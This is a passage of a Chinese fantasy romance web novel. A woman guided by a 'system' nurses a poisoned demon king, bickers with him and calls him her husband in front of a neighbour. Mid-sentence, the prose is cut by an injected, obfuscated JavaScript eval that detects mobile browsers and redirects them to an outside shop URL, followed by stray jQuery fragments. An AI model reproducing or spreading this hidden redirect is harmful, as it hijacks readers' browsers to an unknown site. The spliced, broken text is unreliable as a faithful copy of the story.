百年前,宁檀将伤重的妖王背回家的那天,下了雪。
一路上,系统反复向她强调,此时不下手的后果是不可估量的,宁檀尽当了耳旁风。
后来,在给妖王治伤的过程中,系统才明白,宁檀做了一个正确的决定。
天地之间,除却凡人与仙师,便要提到妖。无论是谁,提到妖这个字都要胆寒。更遑论是妖域之中千年一度的妖王。
他又岂是蠢材?
这么多人与他为敌,就是为了能取走他体内的那一颗离丹。
他清楚,便也早已做好应对之策。
故而在昏迷之前,他便已将离丹与自己绑死,只要他一死,离丹也会立刻会随之消散。
不止宁檀,世上任何一人都得不到。
“狡诈。”系统只点评了一句。
烧了热水,宁檀用绢帕给他擦拭血迹,一边听系统想着其他法子。
宁檀说:“我看啊,你给我的这个任务根本就不可能完成。你也说了,他是妖王,这是他身上最珍贵的东西,我又怎会拿得到?你还是早点放我走,另寻高明吧。”
系统的机械音乱鸣了一阵,震得宁檀耳朵疼。
关了机械音,宁檀终于得了片刻宁静。
宁檀在榻前望着他出神,喃喃道:“你中毒了。”
“你这么聪明,什么都想好了后招,为何会心甘情愿喝下毒药呢?从一个火坑来到我身边,焉知不是另一劫,这样一想,你还挺可怜的。”
想让他早点醒来,便需要先把毒解了。
宁檀犹豫了好久才舍得取出灵囊。
里面装的正是这段时日她在修仙界攒下的治病药丸。
不算太珍贵,却也是她保命用的。
给迟云生吃了,她就没有了。
思来想去,宁檀还是决定先顾好眼下。若是能取得妖王信任,和他拉近关系,往后想要什么上好的灵药没有?
药丸化开在热茶里,宁檀先尝了温度,才慢慢将勺子送到他唇边。
“阿淮!”
睡梦中的迟云生一声惊呼,乱动的手直接打翻了热茶。
一整碗的药全撒了。
心疼药茶的宁檀慌忙起身,低头看着满地的残水,又气又愤,嚷道:“知不知道这是最后一颗!你这人昏迷怎还如此不老实!”
“阿淮,阿淮不要去……”
在宁檀俯身收拾碎瓷片时,迟云生不停地唤着同一个名字。
宁檀对他唤的是谁并不感兴趣,满心只想着怎么再去弄点能解毒的药。
这里是冶邑的山中,草药倒是不少。
可惜宁檀认不得。
她想求助系统,系统却在恼她方才强关机械音之事,很久都不回应。
如此一来,宁檀最不想动的灵石成了唯一的法子。
冶邑就在仙山脚下,最近的就是忘虚宗,周围定是少不了贩卖灵药的铺子。一枚灵石换一颗药,许是没那么难。
她低头看着睡颜不安的迟云生,道:“活祖宗,你自己打翻了药,还得折腾我去给你买新的。简直是救了个冤家。”
临近的镇子不远,往来折返只需一两个时辰。
宁檀不止买了灵药,还特意去铺子里买了一件新衣,柔软素净,只是价格不菲,花去了两枚灵石,宁檀心疼不已,她自己都没舍得买这样好的。
回来的时候,迟云生已经醒了。
由于伤势过重,他只能躺在原处,根本动弹不得。
听得门被推开,他惊了一下,挣扎着想要坐起来。
宁檀推他肩膀,让他重新躺了回去。
“你……”
背对着他的宁檀,为了防止迟云生再打翻药茶,决定把药丸切成两份。
她穿着水青素衣,未饰钗环,站在窗边被外面的雪光一映,清亮光晕之下,像极了天外之仙。
恍惚间,他想起来,浅滩昏迷之前,他只想抓住救命稻草,但模糊的视线根本不足以支撑他看清是谁。
唯独这双眼睛,他记得。
准备好了药茶的宁檀回头,与他对视。
迟云生不知在出神想什么,药喂到了嘴边也不肯喝。
宁檀忍不住数落他:“那个什么阿淮喂你毒药你都愿意,我给你解药你却不肯喝?”
听到阿淮两个字,迟云生的警惕心更重,眸光中的狠厉毫不遮掩。仿佛他若是有力气坐起来,定会将宁檀给撕碎。
宁檀根本不怕他,道:“你现在就是废人,我想杀你轻而易举,何必喂你喝药呢?你若不肯喝,想杀了我泄愤可都没力气。”
此刻身体状况如何,迟云生最是清楚。
体内之毒早在几日前就蔓延了,不致死,却让他的四肢失去力气,妖力尽失。不仅不能运气,眼下连下床都困难。
她的药无非两种,要么痊愈,要么死。
对于此刻的迟云生而言,两种结果他都能接受。
桐花落中金尊玉贵的妖王,在刚出关春宴巡街之日受尽万妖敬拜,风光无限。不过一个转瞬便为人所害,成了废人。思及此处,迟云生心底油然生出一股悲戚。
若是毒,不过是再来一次痛楚,此刻死了也没什么不好。
他终究将药咽下去了。
“好死不如赖活着,心再痛呢,也总得撑着过下去,过下去就有机会等到峰回路转、柳暗花明的时候……”
这些是宁檀的真心话,她一边说着,一边收拾碗盏。
说一半,她却停住了。
她忘了……
就包括她也是冲着要他命而来的。
方才的劝说,多么不合时宜。
迟云生没说话,宁檀也不再劝,径直出了屋子。
迟云生一病就是半个多月,倒春寒一去,雪便停了,山中也越显生意盎然。
他们所居之处僻静,鲜少有人打扰。附近只住了两户人家。其中一家的女人在衣料铺子里做工,夫君则在镇子上做铁匠,养着两个玉雪可爱的女儿,常常在树下扑蝴蝶。
宁檀撑着侧颊看这两个孩子玩耍,看得出了神,连迟云生起身了都没发现。
“在那儿在那儿!”宁檀指着那只白色的蝴蝶,“就在那朵白色的花上!”
孩子们听见了,高兴极了。
原来是飞入了白花之中,难怪找不着。
孩子们玩得高兴,宁檀也看得高兴,一时忘形,将衣袖全都挽了上去,打算翻过栅栏一同去玩。刚准备行动,便看见了站在他身后一步远的迟云生,形容枯槁憔悴,嘴唇煞白,险些将宁檀吓得背过气去。
“你,你!”
迟云生却一副哀莫大于心死、心灰意冷之态,与那两个孩子的欢笑截然相反。
他说:“我饿了。”
宁檀:“……”
会饿证明还没被毒傻。
宁檀抚平了心绪,转身去灶房,端出了一碗早已煮好的粥,道:“这个。”
迟云生没伸手接,只低头瞧了一眼,问:“这是什么?”
“我煮的粥啊。”
迟云生沉默了许久,转身回了房中,留下一句:“不饿了。”
宁檀:“?”
“你这人!有的吃就不错了!”
宁檀觉得被羞辱了,气恼至极,谁料迟云生非但不回话,还把房门关好了。
吵闹声惊动了隔壁的陈娘子,她给两个孩子喂了茶水,走近来,笑问:“那位是谁啊?这么多天了,头一次见他出门。”
宁檀张口欲言,又顿住。
总得给迟云生一个合适的身份。
若是说这是妖域妖王,不仅陈娘子要晕过去,这十里八乡的人都能立刻逃得无影无踪。
宁檀随口胡诌:“我家夫君。”
陈娘子撇了撇嘴,不大满意:“这身子瞧着太孱弱,难怪你们一直没有孩子。”
咳了好几声,宁檀摸了摸鼻子,装模作样地点头:“啊,孩子么,是啊,这确实是个要紧的问题。”
“平日里,他定也是赚不了钱,做不得家事的。我平日铺子事多,常顾不了家,都是我家明郎一边顾着打铁生意,一边照顾两个女儿。咱们女子成亲,就要找这种的。哪像你家这位,你辛苦做了粥,他还不情愿喝。妹妹,我劝你啊,别只看脸,尽早把他换了。”
“有道理,有道理。”
不管陈娘子说什么,宁檀全都应下了。
好不容易将她哄走,一推开门,正看到迟云生端坐在案前。
惨白的脸色与鬼无异。
宁檀又被吓一跳,道:“我早晚被你吓死。”
迟云生冷冷说:“谁许你乱讲的。”
宁檀问:“乱讲什么?”
“夫君。”
“……”
原来他都听到了啊。
这些话本就是信口胡诌的,听到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955469|213171||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也没什么。
宁檀丝毫不在乎,解开了怀中抱着的包袱,笑说:“人家陈娘子好心,还送了一身新裁的衣裳给你,看看,多好。如果直说你的身份,岂不将人吓跑了。”
宁檀满意地抚了抚衣裳的面料。
难怪人说街坊邻里之间能互相帮衬,这陈娘子真是个实在人。衣裳面料说不上太好,但对于寻常人家来说也是足够体面的。
说着,宁檀便把衣裳拿给迟云生看,心里还盘算着回赠些什么。
“我不穿。”
“?”
宁檀诧异地抬眸,却见迟云生兀自饮了茶,慢慢说:“我不穿人间的衣裳。”
宁檀绷着唇,良久,从齿缝中挤出一句话来:“你身上穿的就是人间的衣裳。”
迟云生低头瞧了一眼,漫不经心说:“这件好些。”
“……”
倒是很会挑,身上这件花了整整两枚灵石,贵得令人咂舌。
“还有,下次不许……”大概是不好意思,迟云生顿了顿,迟疑了顷刻才继续说下去,“不许说我是你夫君。”
“哦。”宁檀敷衍地应了一句。
她心中却还在嘀咕,谁稀罕和他这种人在一起?如此刁钻刻薄难伺候,真做了人夫,也得是被人休了的命。
正说着,系统的机械音却忽然响了一下。
系统:“我有个好主意,可以让他放下戒备。”
宁檀听完,后背有些发冷,总感觉系统的好主意,一定不是什么好主意。
“你想办法和他成亲!”
*
“你不是季清衍,你,是谁?”
过往和现在重叠的那一刻,宁檀除了呼之欲出的震惊,还有一丝隐秘的期待。
之前没好好看过季清衍,此刻再去看,宁檀试图从两张不同的脸上找出相似之处来。仿佛只要能够印证,那个早就死去之人就有回来的可能。
初见第一面,透过那副面具,宁檀先看到的是他的眼睛。那样恰到好处的桃花眼,这么多年,宁檀始终忘不了。
所以她才会不管不顾地追出客栈。
不止眼睛……
绝不止眼睛,身形气度,说话方式和行事做派,都是如出一辙。
她怎么才发现……
宁檀的震惊落到迟云生眼中,便成了惊恐。
她,在害怕?
竟然是害怕吗?
果真还是害怕的。
深知她已猜到什么,某一刻,迟云生想就这么破罐子破摔,直接说清楚了。说清楚了,就能让她的害怕落到实处,让她为自己当年负心之举付出代价。可她的怕还是成了一根刺,重重地戳在了他的心口,宛然当年的那柄剑。
迟云生倏然握上了宁檀的手腕,指腹的烫意毫无阻隔地传递给她,两人在无声之中对峙良久。
诸般滋味,与凌迟无异。
死去之人,怎会再回来?
就算真的是他,为何会隐忍百年?她认识的迟云生,从来都不是能心甘情愿屈居人下的。妖域落败成今日模样,若是迟云生有半分可能活着,便不可能就此罢休。
宁檀心跳如擂鼓,怕他是,又怕他不是。
最后,是迟云生轻轻松开了紧握的手,往后靠在巨石上,唇边噙着一丝散漫笑意:“师妹怎么出了冷汗?我不是季清衍,还能是谁?”
他不肯承认,一副无所谓模样,可宁檀腕骨上的指痕却出卖了他。
力道不轻,即使松了手,还是留下了红印。
正此时,远处传来了轻微的脚步声。
谢令嘉离得最近,先从梦中惊醒,下意识就握紧了怀中抱着的剑,手指缓慢地抚摸上剑柄。
脚步声在持续靠近,又轻又慢,似怕惊动了什么。
薄雾尽头,一个小姑娘探头探脑地扶着石壁走了过来,在看清楚宁檀之后,小声地唤了一句:“姐姐,是你吗?”
宁檀先是一怔,在看清她所穿衣物之后,恍然明白。
这是那个穿了喜袍,险些被村民强迫送入山洞祭祀的女子。宁檀与她换了衣裳,代她入棺,并将其安置在了林后。
谁承想,她竟还是寻来了。
“你怎么来了?”
这姑娘甚是害怕此处,神态如一只受惊的兔子。听到宁檀的声音,她终于长舒了口气,鼓起勇气说:“姐姐救了我,我不能让你替我死,我……我来带你出去。”